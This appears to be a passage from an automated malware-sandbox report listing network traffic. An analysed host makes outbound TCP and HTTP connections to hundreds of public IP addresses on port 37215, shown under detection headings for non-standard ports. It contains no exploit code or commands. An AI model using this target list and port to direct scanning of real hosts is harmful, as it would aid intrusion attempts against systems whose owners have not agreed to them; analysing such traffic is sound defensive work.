Source: global traffic	TCP traffic: 156.59.179.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.88.253.218 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.39.251.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.44.214.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.226.20.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.51.182.151 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.175.229.193 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.242.99.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.94.227.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.26.244.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.186.171.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.125.62.196 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.18.18.185 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.39.84.252 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.3.74.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.168.140.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.54.111.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.114.169.219 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.85.40.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.164.154.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.67.62.85 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.60.125.125 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.166.96.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.124.124.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.135.141.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.119.70.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.159.7.26 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.177.240.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.77.117.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.56.160.120 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.91.199.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.239.92.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.249.237.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.150.6.68 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.164.151.195 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.33.165.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.14.178.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.190.236.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.48.179.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.127.182.216 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.12.41.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.81.130.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.70.123.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.128.207.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.142.116.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.66.159.115 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.79.39.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.21.87.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.144.231.29 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.124.112.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.156.56.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.217.180.241 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.172.223.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.211.142.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.199.47.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.117.230.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.223.238.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.6.245.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.164.99.193 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.3.228.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.40.181.30 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.235.64.208 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.51.156.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.226.103.56 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.161.40.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.71.18.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.101.222.202 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.112.201.234 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.112.131.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.206.47.137 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.114.2.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.63.147.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.125.54.36 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.135.16.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.69.76.95 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 55100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38284 -> 37215

Detected TCP or UDP traffic on non-standard ports

Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.132.105.213:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.125.9.149:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.241.247.100:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.59.249.100:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.240.61.101:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.71.18.81:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.201.22.23:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.59.179.42:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.159.7.26:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.6.245.57:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.32.239.81:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.21.48.250:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.249.237.198:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.73.85.29:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.66.159.115:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.60.205.88:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.30.17.189:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.164.151.195:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.90.39.28:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.23.97.6:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.225.139.135:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.124.92.71:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.113.71.45:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.68.209.198:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.211.142.147:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.101.222.202:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.178.249.21:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.9.215.136:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.144.231.29:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.25.32.250:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.54.125.180:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.186.171.70:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.3.74.167:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.44.214.227:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.87.164.214:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.36.204.62:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.155.86.236:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.69.76.95:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.107.191.162:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.213.99.128:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.70.123.248:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.135.141.121:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.141.200.135:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.30.192.101:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.56.192.111:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.131.139.12:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.231.220.37:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.191.217.175:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.12.81.92:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.124.195.159:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.117.230.255:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.164.99.193:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.116.55.202:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.253.102.139:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.134.155.51:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.54.111.237:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.204.92.78:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.21.87.60:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.136.55.235:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.124.112.190:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.125.62.196:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.56.160.120:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.48.179.122:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.62.202.81:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.66.208.156:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.177.240.150:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.161.40.18:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.32.48.221:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.134.202.152:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.196.241.215:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.117.41.221:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.89.67.31:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.218.209.73:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.204.110.109:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.200.166.216:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.35.2.142:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.213.126.110:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.162.72.186:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.255.77.117:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.185.176.211:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.49.165.190:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.13.119.253:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.83.180.253:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.195.66.244:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.244.144.99:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.71.180.148:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.92.213.204:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.36.83.18:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.147.237.63:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.112.201.234:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.217.180.241:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.168.140.143:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.139.156.116:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.174.39.213:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.209.8.48:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.89.221.203:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.114.47.98:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.34.100.37:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.129.112.150:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.20.38.18:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.77.117.168:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.222.233.237:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.42.1.90:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.104.242.106:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.125.179.106:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.23.229.22:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.158.208.57:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.118.68.169:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.215.64.156:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.66.90.52:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.168.73.85:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.104.13.191:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.5.13.143:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.202.247.159:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.225.106.99:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.164.219.206:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.66.107.48:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.145.112.200:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.58.89.140:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.250.237.42:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.116.22.67:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.56.67.92:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.152.146.249:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.226.20.217:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.51.156.94:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.44.39.40:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.190.236.86:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.34.186.220:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.31.32.122:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.82.15.20:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.253.78.65:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.135.79.115:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.102.166.227:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.14.178.33:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.224.161.19:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.21.184.116:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.21.88.46:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.160.237.215:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.183.88.244:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.152.134.142:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.25.244.239:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.189.123.147:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.54.189.12:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.45.142.116:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.98.46.83:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.122.68.146:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.156.56.77:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.171.231.160:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.163.190.213:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.41.255.251:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.156.88.73:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.70.216.233:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.8.152.135:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.9.88.102:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.10.21.243:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.206.47.137:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.54.152.78:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.16.15.60:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.213.11.230:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.150.6.68:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.44.137.60:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.3.228.102:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.128.207.2:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.71.83.87:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.242.99.43:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.67.11.167:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.226.103.56:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.169.52.195:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.124.124.245:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.142.116.254:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.153.227.116:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.56.205.250:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.91.199.76:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.217.80.125:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.49.107.5:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.94.227.42:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.212.250.69:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.106.131.193:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.95.214.126:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.57.173.99:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.88.253.218:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.88.101.12:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.141.192.20:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.24.220.74:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.98.221.30:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.33.165.176:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.25.90.25:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.109.235.8:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.216.201.214:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.40.181.30:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.135.62.210:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.104.54.50:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.168.214.129:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.13.42.150:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.27.38.79:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.178.37.1:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.119.70.55:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.93.165.132:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.58.253.83:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.114.169.219:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.56.40.39:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.194.203.123:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.14.94.121:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.167.118.254:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.91.236.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.191.145.248:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.81.130.97:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.203.176.177:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.183.29.248:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.156.146.174:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.79.39.94:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.239.92.94:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.164.154.101:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.234.231.100:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.221.164.1:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.244.21.28:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.18.18.185:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.85.40.48:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.199.47.89:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.216.113.236:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.114.2.225:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.67.62.85:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.135.16.95:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.12.139.235:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.63.147.76:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.212.61.227:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.77.230.163:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.78.87.109:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.37.116.72:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.235.64.208:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.170.225.244:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.104.141.147:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.208.252.52:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.162.41.60:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.112.74.173:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.197.77.162:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.39.84.252:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.161.169.211:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.63.217.107:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.221.7.250:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.223.238.191:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.97.54.76:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.147.99.232:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.117.140.107:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.77.75.65:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.8.64.143:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.213.237.153:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.16.125.170:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.34.229.198:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.60.125.125:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.146.149.251:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.220.19.153:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.174.244.191:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.201.3.242:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.74.218.116:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.129.10.147:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.51.51.119:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 41.94.248.42:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 197.142.163.1:37215
Source: global traffic	TCP traffic: 192.168.2.13:46227 -> 156.126.112.189:37215
